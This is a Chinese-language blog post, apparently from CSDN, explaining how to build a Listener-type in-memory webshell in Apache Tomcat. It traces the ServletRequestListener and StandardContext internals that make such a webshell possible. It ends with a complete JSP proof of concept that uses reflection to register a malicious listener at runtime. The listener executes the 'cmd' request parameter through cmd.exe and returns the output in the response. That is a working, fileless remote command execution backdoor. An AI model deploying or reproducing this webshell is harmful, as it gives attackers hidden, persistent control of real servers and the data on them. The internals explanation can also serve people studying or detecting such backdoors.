• Tomcat Java内存马 listener型


    Tomcat Java内存马 Listener型

    Listener型相比Filter型来说就简单的多。

    什么是Listener?

    Listener是针对对象的操作的,如Session的创建,Session.setAttribute的发生,在这样的事件发生时做一些事情。

    Web应用在Web容器中运行时,Web应用内部会不断地发生各种事件:

    • 如Web应用的启动和停止

    • 用户Session的开始和结束等

    通常这些Web事件对开发者是透明的。Listener(监听器)是观察者模式的应用,通过方法回调来实现。

    ListenerWeb容器启动的时候,去读取每个Web应用的Web.xml配置文件,当配置文件中配有Listener时,Web容器实例化Listener

    Listener是当某个事件发生时,调用它特定方法,如HttpSessionListener,当创建一个Session时会调用它的SessionCreated()方法,当servlet容器关闭或者重新加载Web应用时Listener对象被销毁。

    Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

    • ServletContext,服务器启动和终止时触发

    • Session,有关Session操作时触发

    • Request,访问服务时触发

    其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。

    Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生java.util.EvenListener

    LifecycleListener增加了生命周期管理,主要用于四大容器类StandardEngineStandardHostStandardContextStandardWrapper。它们多用于Tomcat初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,根据我们的输入执行命令

    所以我们重点关注java.util.EvenListenerEvenListener接口本身很简单,啥也没有。

    package java.util;
    
    /**
     * A tagging interface that all event listener interfaces must extend.
     * @since JDK1.1
     */
    public interface EventListener {
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    原生Tomcat中,有很多继承于EventListener的接口,应用于各个对象的监听,ServletRequestListener便是其中之一。

    这里我们选择ServletRequestListener,因为ServletRequestListener主要用于监听ServletRequest的生成和销毁,也就是说当我们访问任意资源,无论是servletjsp还是静态资源,都会触发requestInitialized方法。

    package javax.servlet;
    
    import java.util.EventListener;
    
    public interface ServletRequestListener extends EventListener {
        default void requestDestroyed(ServletRequestEvent sre) {
        }
    
        default void requestInitialized(ServletRequestEvent sre) {
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    Listener

    经过上面的介绍,写一个Demo打断点看一下吧

    import javax.servlet.ServletRequestEvent;
    import javax.servlet.ServletRequestListener;
    
    public class ListenerDemo01 implements ServletRequestListener {
    
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("ListenerDemo01 requestDestroyed");
        }
    
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("ListenerDemo01 requestInitialized"); 
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    通过调用栈往上回溯一层,可以看到ListenerDemo01.requestInitialized()是被StandardContext.fireRequestInitEvent()方法调用了。

    //StandardContext.java
    public boolean fireRequestInitEvent(ServletRequest request) {
    
        Object instances[] = getApplicationEventListeners();
    
        if ((instances != null) && (instances.length > 0)) {
    
            ServletRequestEvent event =
                    new ServletRequestEvent(getServletContext(), request);
    
            for (Object instance : instances) {
                
                ServletRequestListener listener = (ServletRequestListener) instance;
    
                try {
                    listener.requestInitialized(event);
                } catch (Throwable t) {}
            }
        }
        return true;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    listener(ServletRequestListener) instance造型过来的,而instance是遍历instances得来的,然后instances又是从getApplicationEventListeners()方法获得的。

    //StandardContext.java
    public Object[] getApplicationEventListeners() {
        return applicationEventListenersList.toArray();
    }
    
    • 1
    • 2
    • 3
    • 4

    跟进getApplicationEventListeners()方法看到是将字段applicationEventListenersList转换成数组返回的。那么就很简单了。

    先拿到StandardContext,然后通过addApplicationEventListener()方法向字段applicationEventListenersList加进写好的恶意Listener

    //StandardContext.java
    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }
    
    • 1
    • 2
    • 3
    • 4

    Poc

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="java.io.IOException" %>
    
    <%!
        public class MyListener implements ServletRequestListener {
            public void requestDestroyed(ServletRequestEvent sre) {
                HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
                if (req.getParameter("cmd") != null){
                    InputStream in = null;
                    try {
                        in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                        //in = Runtime.getRuntime().exec(new String[]{"sh","-c",req.getParameter("cmd")}).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\A");
                        String out = s.hasNext()?s.next():"";
                        Field requestF = req.getClass().getDeclaredField("request");
                        requestF.setAccessible(true);
                        Request request = (Request)requestF.get(req);
                        request.getResponse().getWriter().write(out);
                    }
                    catch (IOException e) {}
                    catch (NoSuchFieldException e) {}
                    catch (IllegalAccessException e) {}
                }
            }
    
            public void requestInitialized(ServletRequestEvent sre) {}
        }
    %>
    
    <%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();
        MyListener listenerDemo = new MyListener();
        context.addApplicationEventListener(listenerDemo);
    %>
    <html>
    <head>
        <title>poctitle>
    head>
    <body>
    hello poc
    
    body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    参考文章:

  • 相关阅读:
    以MixtralForCausalLM为例,演示如何不依赖框架实现pipeline并行
    如何选择最适合 Android 的 SD 卡恢复软件?
    浅谈大数据背景下用户侧用电数据在电力系统的应用与发展分析
    C++基础知识梳理<2>(引用、内联函数、auto关键字) [入门级】
    高效且无限扩容,浅析什么是对象存储?
    一文学会Docker+Jenkins一键自动化部署~
    Redis延迟双删-架构案例2021(三十二)
    ZYNQ PS与PL通信之DMA
    [安卓java毕业设计源码]精品基于Uniapp+SSM实现的记账app[包运行成功]
    Prometheus PromQL及传统部署 Alertmanager 发送告警
  • 原文地址:https://blog.csdn.net/qq_40710190/article/details/125900435